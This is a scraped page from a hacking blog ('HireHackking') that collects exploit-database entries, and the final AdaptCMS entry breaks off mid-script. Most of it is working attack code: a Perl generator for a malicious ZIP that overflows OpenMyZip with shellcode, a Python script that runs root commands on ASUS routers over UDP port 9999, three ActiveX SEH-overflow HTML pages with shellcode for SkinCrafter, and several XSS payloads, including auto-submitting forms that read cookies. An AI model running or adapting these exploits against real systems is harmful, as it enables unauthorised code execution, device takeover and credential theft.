Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863113810

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

source: https://www.securityfocus.com/bid/47678/info


OpenMyZip is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

OpenMyZip 0.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
#
#
#[+]Exploit Title: OpenMyZip V0.1 .ZIP File Buffer Overflow Vulnerability
#[+]Date: 02\05\2011
#[+]Author: C4SS!0 G0M3S
#[+]Software Link: http://download.cnet.com/OpenMyZip/3000-2250_4-10657274.html
#[+]Version: v0.1
#[+]Tested On: WIN-XP SP3 Brazil Portuguese
#[+]CVE: N/A
#
#
#

use strict;
use warnings;

my $filename = "Exploit.zip"; 


print "\n\n\t\tOpenMyZip V0.1 .ZIP File Buffer Overflow Vulnerability\n";
print "\t\tCreated by C4SS!0 G0M3S\n";
print "\t\tE-mail Louredo_\@hotmail.com\n";
print "\t\tSite www.exploit-br.org/\n\n";

print "\n\n[+] Creting ZIP File...\n";
sleep(1);
my $head = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

my $payload = "\x41" x 8;
$payload = $payload.
("\x61" x 7).#6 POPAD
("\x6A\x30").#PUSH 30
("\x5B\x52\x59").#POP EBX / PUSH EDX / POP ECX
("\x41" x 10).#10 INC EAX
("\x02\xd3").#ADD CL,BL
("\x51\x58").#PUSH ECX / POP EAX
("\x98\xd1"); #BASE CONVERSION 
                #"\x98" == "\xff" 
				# "\xd1" == "\xd0" 	
			    #"\xff" + "\xd0" = CALL EAX AND CODE EXECUTION.;-}
$payload .= "\x41" x 22;#MORE PADDING FOR START FROM MY SHELLCODE
$payload .= 
"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIYK9PFQO9OO3LUFRPHLN9R".
"TFDZTNQ5NV8VQSHR8MSM8KLUSRXRHKDMUVPBXOLSUXI48X6FCJUZSODNNCMTBOZ7JP2ULOOU2JMUMPTN".
"5RFFIWQM7MFSPZURQYZ5V05ZU4TO7SLKK5KEUBKJPQ79MW8KM12FXUK92KX9SZWWK2ZHOPL0O13XSQCO".#Alpha SHELLCODE WinExec('calc',0) BaseAddress = EAX
"T67JW9HWKLCLNK3EOPWQCE4PQ9103HMZUHFJUYQ3NMHKENJL1S5NHWVJ97MGK9PXYKN0Q51864NVOMUR".
"9K7OGT86OPYJ03K9GEU3OKXSKYZA";
$payload .= "\x44" x (2050-length($payload));
$payload .= "\x58\x78\x39".#POP EAX / JS SHORT 011E0098
"\x41" x 5;# PADDING FOR OVERWRITE EIP
$payload .= pack('V',0x00404042);#JMP EBX
$payload .= "\x42" x 50;
$payload .= "\x41" x (4064-length($payload));

$payload = $payload.".txt";
my $zip = $head.$payload.$head2.$payload.$head3;
open(FILE,">$filename") || die "[-]Error:\n$!\n";
print FILE $zip;
close(FILE);
print "[+] ZIP File Created With Sucess:)\n";
sleep(2);
=head
#
#The Vulnerable Function:
#
#
#The Vulnerable function is in MODULE UnzDll.dll on
#Function UnzDllExec+0x7a3 after CALL the function kernel32.lstrcpyA
#ocorrs the Buffer Overflow on movimentation of the String Very large.
#
#Assemble:
#
#  0x00DA6A6F                                      53               PUSH EBX
#  0x00DA6A70                                      56               PUSH ESI
#  0x00DA6A71                                      8B75 08          MOV ESI,DWORD PTR SS:[EBP+8]
#  0x00DA6A74                                      8B55 18          MOV EDX,DWORD PTR SS:[EBP+18]
#  0x00DA6A77                                      8B45 10          MOV EAX,DWORD PTR SS:[EBP+10]
#  0x00DA6A7A                                      83BE 8CD20000 00 CMP DWORD PTR DS:[ESI+D28C],0
#  0x00DA6A81                                      8D9E 50D80000    LEA EBX,DWORD PTR DS:[ESI+D850]
#  0x00DA6A87                                      74 65            JE SHORT UnzDll.00DA6AEE
#  0x00DA6A89                                      8B8E 84D20000    MOV ECX,DWORD PTR DS:[ESI+D284]
#  0x00DA6A8F                                      890B             MOV DWORD PTR DS:[EBX],ECX
#  0x00DA6A91                                      8B8E 88D20000    MOV ECX,DWORD PTR DS:[ESI+D288]
#  0x00DA6A97                                      894B 04          MOV DWORD PTR DS:[EBX+4],ECX
#  0x00DA6A9A                                      33C9             XOR ECX,ECX
#  0x00DA6A9C                                      C743 08 A0000000 MOV DWORD PTR DS:[EBX+8],0A0
#  0x00DA6AA3                                      894B 0C          MOV DWORD PTR DS:[EBX+C],ECX
#  0x00DA6AA6                                      8B4D 0C          MOV ECX,DWORD PTR SS:[EBP+C]
#  0x00DA6AA9                                      894B 10          MOV DWORD PTR DS:[EBX+10],ECX
#  0x00DA6AAC                                      81BE 88DB0000 91>CMP DWORD PTR DS:[ESI+DB88],91
#  0x00DA6AB6                                      7F 0A            JG SHORT UnzDll.00DA6AC2
#  0x00DA6AB8                                      8BC8             MOV ECX,EAX
#  0x00DA6ABA                                      80E1 FF          AND CL,0FF
#  0x00DA6ABD                                      0FBEC9           MOVSX ECX,CL
#  0x00DA6AC0                                      EB 02            JMP SHORT UnzDll.00DA6AC4
#  0x00DA6AC2                                      8BC8             MOV ECX,EAX
#  0x00DA6AC4                                      894B 14          MOV DWORD PTR DS:[EBX+14],ECX
#  0x00DA6AC7                                      85D2             TEST EDX,EDX
#  0x00DA6AC9                                      8B45 14          MOV EAX,DWORD PTR SS:[EBP+14]
#  0x00DA6ACC                                      8943 18          MOV DWORD PTR DS:[EBX+18],EAX
#  0x00DA6ACF                                      75 06            JNZ SHORT UnzDll.00DA6AD7
#  0x00DA6AD1                                      C643 1C 00       MOV BYTE PTR DS:[EBX+1C],0
#  0x00DA6AD5                                      EB 0A            JMP SHORT UnzDll.00DA6AE1
#  0x00DA6AD7                                      52               PUSH EDX
#  0x00DA6AD8                                      8D53 1C          LEA EDX,DWORD PTR DS:[EBX+1C]
#  0x00DA6ADB                                      52               PUSH EDX
#  0x00DA6ADC                                      E8 ABF20000      CALL UnzDll.00DB5D8C                     ; JMP to kernel32.lstrcpyA
#  0x00DA6AE1                                      53               PUSH EBX
#  0x00DA6AE2                                      FF96 8CD20000    CALL DWORD PTR DS:[ESI+D28C]             ; Here ocorrs the Code Execution:-)
#  0x00DA6AE8                                      0986 70D20000    OR DWORD PTR DS:[ESI+D270],EAX
#  0x00DA6AEE                                      5E               POP ESI
#  0x00DA6AEF                                      5B               POP EBX
#  0x00DA6AF0                                      5D               POP EBP
#  0x00DA6AF1                                      C3               RETN
#
#
#
#
#
=cut
            
#!/usr/bin/env python3

# Exploit Title: ASUSWRT 3.0.0.4.376_1071 LAN Backdoor Command Execution
# Date: 2014-10-11
# Vendor Homepage: http://www.asus.com/
# Software Link: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/FW_RT_N66U_30043762524.zip
# Source code: http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N66U_B1/GPL_RT_N66U_30043762524.zip
# Tested Version: 3.0.0.4.376_1071-g8696125
# Tested Device: RT-N66U

# Description:
# A service called "infosvr" listens on port 9999 on the LAN bridge.
# Normally this service is used for device discovery using the
# "ASUS Wireless Router Device Discovery Utility", but this service contains a
# feature that allows an unauthenticated user on the LAN to execute commands
# <= 237 bytes as root. Source code is in asuswrt/release/src/router/infosvr.
# "iboxcom.h" is in asuswrt/release/src/router/shared.
#
# Affected devices may also include wireless repeaters and other networking
# products, especially the ones which have "Device Discovery" in their features
# list.
#
# Using broadcast address as the IP address should work and execute the command
# on all devices in the network segment, but only receiving one response is
# supported by this script.

import sys, os, socket, struct


PORT = 9999

if len(sys.argv) < 3:
    print('Usage: ' + sys.argv[0] + ' <ip> <command>', file=sys.stderr)
    sys.exit(1)


ip = sys.argv[1]
cmd = sys.argv[2]

enccmd = cmd.encode()

if len(enccmd) > 237:
    # Strings longer than 237 bytes cause the buffer to overflow and possibly crash the server. 
    print('Values over 237 will give rise to undefined behaviour.', file=sys.stderr)
    sys.exit(1)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('0.0.0.0', PORT))
sock.settimeout(2)

# Request consists of following things
# ServiceID     [byte]      ; NET_SERVICE_ID_IBOX_INFO
# PacketType    [byte]      ; NET_PACKET_TYPE_CMD
# OpCode        [word]      ; NET_CMD_ID_MANU_CMD
# Info          [dword]     ; Comment: "Or Transaction ID"
# MacAddress    [byte[6]]   ; Double-wrongly "checked" with memcpy instead of memcmp
# Password      [byte[32]]  ; Not checked at all
# Length        [word]
# Command       [byte[420]] ; 420 bytes in struct, 256 - 19 unusable in code = 237 usable

packet = (b'\x0C\x15\x33\x00' + os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00')

sock.sendto(packet, (ip, PORT))


# Response consists of following things
# ServiceID     [byte]      ; NET_SERVICE_ID_IBOX_INFO
# PacketType    [byte]      ; NET_PACKET_TYPE_RES
# OpCode        [word]      ; NET_CMD_ID_MANU_CMD
# Info          [dword]     ; Equal to Info of request
# MacAddress    [byte[6]]   ; Filled in for us
# Length        [word]
# Result        [byte[420]] ; Actually returns that amount

while True:
    data, addr = sock.recvfrom(512)

    if len(data) == 512 and data[1] == 22:
        break

length = struct.unpack('<H', data[14:16])[0]
s = slice(16, 16+length)
sys.stdout.buffer.write(data[s])

sock.close()
            
# Exploit Title: Crea8Social v.2.0 XSS Change Interface
# Google Dork: intext:Copyright © 2014 CreA8social.
# Date: January 3, 2015
# Exploit Author: r0seMary
# Vendor Homepage: http://crea8social.com
# Software Link: http://codecanyon.net/item/crea8social-php-social-networking-platform-v20/9211270 or http://crea8social.com
# Version: v.2.0 (Latest version)
# Tested on: Windows 7
# CVE : -
================================================================================
Bismillahirahmanirahim
Assalamualaikum Wr.Wb

--[Fatal Xss Vulnerability]--
1. Register on the site
2. Go to Menu, Click Game
3. Add Game
4. At Game Content, enter your xss code. for example:
<script>document.body.innerHTML="your text here"</script><noscript>

look at the result, the user interface change into your xss code ;)

Proof of Concept:
http://104.131.164.9/demo/games/124 (Crea8Social Official Site)

./r0seMary
Wassalamualaikum.wr.wb
            
<html>
<br>ActiveX Buffer Overflow in SkinCrafter3_vs2005 </br>
<br>Affected version=3.8.1.0</br>
<br>Vendor Homepage:http://skincrafter.com/</br>
<br>Software Link:skincrafter.com/downloads/SkinCrafter_Demo_2005_2008_x86.zip</br>
<br>The vulnerability lies in the COM component used by the product SkinCrafter3_vs2005.dll.</br>
<br>Description: Skin Crafter is a software that is used to create custom skins for different windows applications.</br>
<br>SkinCrafter is compatible with Windows XP / Vista / 7 / 8 and earlier versions.</br>
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>
<br>Author: metacom</br>
<br>Vulnerability discovered:04.01.2015</br>
<!--
POC Video:http://bit.ly/1vNKL9M
twitter.com/m3tac0m
-->
<object classid='clsid:B9D38E99-5F6E-4C51-8CFD-507804387AE9' id='target' ></object>
<script >
junk1 = "";
while(junk1.length < 1084) junk1+="A";
nseh = "\xeb\x06\x90\x90";
seh = "\xCD\xC6\x03\x10";
nops= "";
while(nops.length < 50) nops+="\x90";
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
junk2 = "";
while(junk2.length < 8916) junk2+="D";
payload = junk1 + nseh + seh + nops+ shellcode + junk2;
arg1=payload;
arg1=arg1;
arg2="SkinCrafter3_vs2005";
arg3="SkinCrafter3_vs2005";
arg4="SkinCrafter3_vs2005";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 );
</script>
</html>

################################################################################

<html>
<br>ActiveX Buffer Overflow in SkinCrafter3_vs2010 </br>
<br>Affected version=3.8.1.0</br>
<br>Vendor Homepage:http://skincrafter.com/</br>
<br>Software Link:skincrafter.com/downloads/SkinCrafter_Demo_2010_2012_x86.zip</br>
<br>The vulnerability lies in the COM component used by the product SkinCrafter3_vs2010.dll.</br>
<br>Description: Skin Crafter is a software that is used to create custom skins for different windows applications.</br>
<br>SkinCrafter is compatible with Windows XP / Vista / 7 / 8 and earlier versions.</br>
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>
<br>Author: metacom</br>
<br>Vulnerability discovered:04.01.2015</br>
<!--
POC Video:http://bit.ly/1Bx9BQ0
twitter.com/m3tac0m
-->
<object classid='clsid:F67E9E3C-B156-4B86-BD11-8301E639541E' id='target' ></object>
<script >
junk1 = "";
while(junk1.length < 2052) junk1+="A";
nseh = "\xeb\x06\x90\x90";
seh = "\xA3\x6C\x01\x10";
nops= "";
while(nops.length < 50) nops+="\x90";
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
junk2 = "";
while(junk2.length < 7948) junk2+="D";
payload = junk1 + nseh + seh + nops+ shellcode + junk2;
arg1=payload;
arg1=arg1;
arg2="SkinCrafter3_vs2010";
arg3="SkinCrafter3_vs2010";
arg4="SkinCrafter3_vs2010";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 );
</script>
</html>

################################################################################

<html>
<br>ActiveX Buffer Overflow in SkinCrafter3_vs2008 </br>
<br>Affected version=3.8.1.0</br>
<br>Vendor Homepage:http://skincrafter.com/</br>
<br>Software Link:skincrafter.com/downloads/SkinCrafter_Demo_2005_2008_x86.zip</br>
<br>The vulnerability lies in the COM component used by the product SkinCrafter3_vs2008.dll.</br>
<br>Description: Skin Crafter is a software that is used to create custom skins for different windows applications.</br>
<br>SkinCrafter is compatible with Windows XP / Vista / 7 / 8 and earlier versions.</br>
<br>Vulnerability tested on Windows Xp Sp3 (EN),with IE6</br>
<br>Author: metacom</br>
<br>Vulnerability discovered:04.01.2015</br>
<!--
POC Video:http://bit.ly/1yopgU3
twitter.com/m3tac0m
-->
<object classid='clsid:F12724A5-84D6-4D74-902B-4C0C25A11C86' id='target' ></object>
<script >
junk1 = "";
while(junk1.length < 2040) junk1+="A";
nseh = "\xeb\x06\x90\x90";
seh = "\x37\x1E\x01\x10";
nops= "";
while(nops.length < 50) nops+="\x90";
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"+
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"+
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"+
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"+
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"+
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"+
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"+
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"+
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"+
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"+
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"+
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"+
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"+
"\x4e\x46\x43\x36\x42\x50\x5a");
junk2 = "";
while(junk2.length < 7960) junk2+="D";
payload = junk1 + nseh + seh + nops+ shellcode + junk2;
arg1=payload;
arg1=arg1;
arg2="SkinCrafter3_vs2008";
arg3="SkinCrafter3_vs2008";
arg4="SkinCrafter3_vs2008";
target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 );
</script>
</html>
            
HireHackking
source: https://www.securityfocus.com/bid/47687/info Proofpoint Protection Server is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Proofpoint Protection Server 5.5.5 is vulnerable; other versions may also be affected. http://www.example.com:10020/enduser/process.cgi?cmd=release&; recipient=xxx () yyy com au& msg_id=%28MDYzMjU0NTJkYTQ0OWRhYjJlNWY1MjBhNzc5MDEwODlkZGY5OGIzMTc1MGI=%29& locale=enus&x=580&y=470&displayprogress=t%22%20 onmouseover=%22alert%281%29%22%20name=%22frame_display%22%20id=%22 frame_display%22%20NORESIZE%20SCROLLING=%22no%22%20/%3E%3C!--
HireHackking

SelectaPix 1.4.1 - 'uploadername' Cross-Site Scripting

source: https://www.securityfocus.com/bid/47701/info SelectaPix is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. SelectaPix 1.4.1 is vulnerable; other versions may also be affected. <form action="http://www.example.com/admin/upload.php?albumID=1&parentID=0&request=single" method="post" name="main" id="main"> <input type="hidden" name="uploadername" value=&#039;"><script>alert(document.cookie);</script>&#039;> <input type="submit" value="OK"> </form>
HireHackking

YaPiG 0.95 - Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/47698/info YaPIG is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. YaPIG 0.95 is vulnerable; other versions may also be affected. http://www.example.com/template/default/add_comment_form.php?I_ADD_COMMENT=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/template/default/admin_task_bar.php?I_ADMIN_TASKS=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/template/default/delete_gallery_form.php?I_SELECT_OPT=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/template/default/face_begin.php?I_TITLE=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E http://www.example.com/slideshow.php?interval=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking

GoT.MY (Multiple Products) - 'theme_dir' Cross-Site Scripting

source: https://www.securityfocus.com/bid/47702/info Multiple GoT.MY products are prone to a cross-site scripting vulnerability. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to steal cookie-based authentication credentials; other attacks are possible. The following are vulnerable: Classified ADs 2.9.1 Classmates 1.1.1 Deal Informer 4.8.0 http://www.example.com/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3E alert%28document.cookie%29;%3C/script%3E
HireHackking
source: https://www.securityfocus.com/bid/47728/info BMC Remedy Knowledge Management is prone to a default-account vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. Attackers can leverage the default account issue to bypass authentication and gain access without permission. Successful exploits can aid in further attacks. An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Remedy Knowledge Management 7.5.00 is vulnerable; other versions may also be affected. https://www.example.com/rkm/external.jsp?doc=&#039;%3balert(1)//&user=Self+Help https://www.example.com/rkm/search.jsp?user=Self+Help&startDate=\&#039;%3balert(1)// https://www.example.com/rkm/usersettings.jsp?"><script>alert(1)</script> https://www.example.com/rkm/viewdoc.jsp?doc=><script>alert(1)</script>&user=Self%20Help https://www.example.com/rkm/AttachmentServlet?="><script>alert(1)</script> https://www.example.com/rkm/index.jsp?user=Self%20Help
HireHackking
source: https://www.securityfocus.com/bid/47726/info WP Ajax Calendar is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. WP Ajax Calendar 1.0 is vulnerability; other versions may also be affected. http://www.example.com/example.php?y=[xss]
HireHackking

PHPDug 2.0 - Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/47733/info PHPDug is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. PHPDug 2.0.0 is vulnerable; other versions may also be affected. 1. <form action="http://www.example.com/add_story.php" method="post" name="main"> <input type="hidden" name="story_url" value=&#039;http://www.example.com/"><script>alert(document.cookie)</script>&#039;> <input type="hidden" name="Submit" value="Continue"> </form> <script> document.main.submit(); </script> 2. <form action="http://www.example.com/editprofile.php" method="post" name="main"> <input type="hidden" name="email" value=&#039;email@example.com"><script>alert(document.cookie)</script>&#039;> <input type="hidden" name="commentst" value="-4"> <input type="hidden" name="Submit" value="Save Changes"> </form> <script> document.main.submit(); </script> 3. <form action="http://www.example.com/adm/content_add.php" method="post" name="main"> <input type="hidden" name="id" value="999"> <input type="hidden" name="title" value=&#039;page"><script>alert(document.cookie)</script>&#039;> <input type="hidden" name="contentvalue="content"> <input type="hidden" name="Submit" value="Submit"> </form> <script> document.main.submit(); </script> 4. <form action="http://www.example.com/adm/admin_edit.php" method="post" name="main"> <input type="hidden" name="id[1]" value="1"> <input type="hidden" name="username[1]" value=&#039;admin<script>alert("XSS")</script>&#039;> <input type="hidden" name="password[1]" value=""> <input type="hidden" name="Submit" value="Submit"> </form> <script> document.main.submit(); </script>
HireHackking

AdaptCMS 3.0.3 - Multiple Vulnerabilities

#!/usr/bin/env python # # # AdaptCMS 3.0.3 Remote Command Execution Exploit # # # Vendor: Insane Visions # Product web page: http://www.adaptcms.com # Affected version: 3.0.3 # # Summary: AdaptCMS is a Content Management System trying # to be both simple and easy to use, as well as very agile # and extendable. Not only so we can easily create Plugins # or additions, but so other developers can get involved. # Using CakePHP we are able to achieve this with a built-in # plugin system and MVC setup, allowing us to focus on the # details and end-users to focus on building their website # to look and feel great. # # Desc: AdaptCMS suffers from an authenticated arbitrary # command execution vulnerability. The issue is caused due # to the improper verification of uploaded files. This can # be exploited to execute arbitrary PHP code by creating # or uploading a malicious PHP script file that will be # stored in '\app\webroot\uploads' directory. # # Tested on: Apache 2.4.10 (Win32) # PHP 5.6.3 # MySQL 5.6.21 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2015-5220 # Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2015-5220.php # # # 29.12.2014 # # import itertools, mimetools, mimetypes, os import cookielib, urllib, urllib2, sys, re from cStringIO import StringIO from urllib2 import URLError piton = os.path.basename(sys.argv[0]) def bannerche(): print """ o==========================================o | | | AdaptCMS RCE Exploit | | | | ID:ZSL-2015-5220 | | o/ | +------------------------------------------+ """ if len(sys.argv) < 3: print '\x20\x20[*] Usage: '+piton+' <hostname> <pathname>' print '\x20\x20[*] Example: '+piton+' zeroscience.mk adaptcms\n' sys.exit() bannerche() host = sys.argv[1] path = sys.argv[2] cj = cookielib.CookieJar() opener = 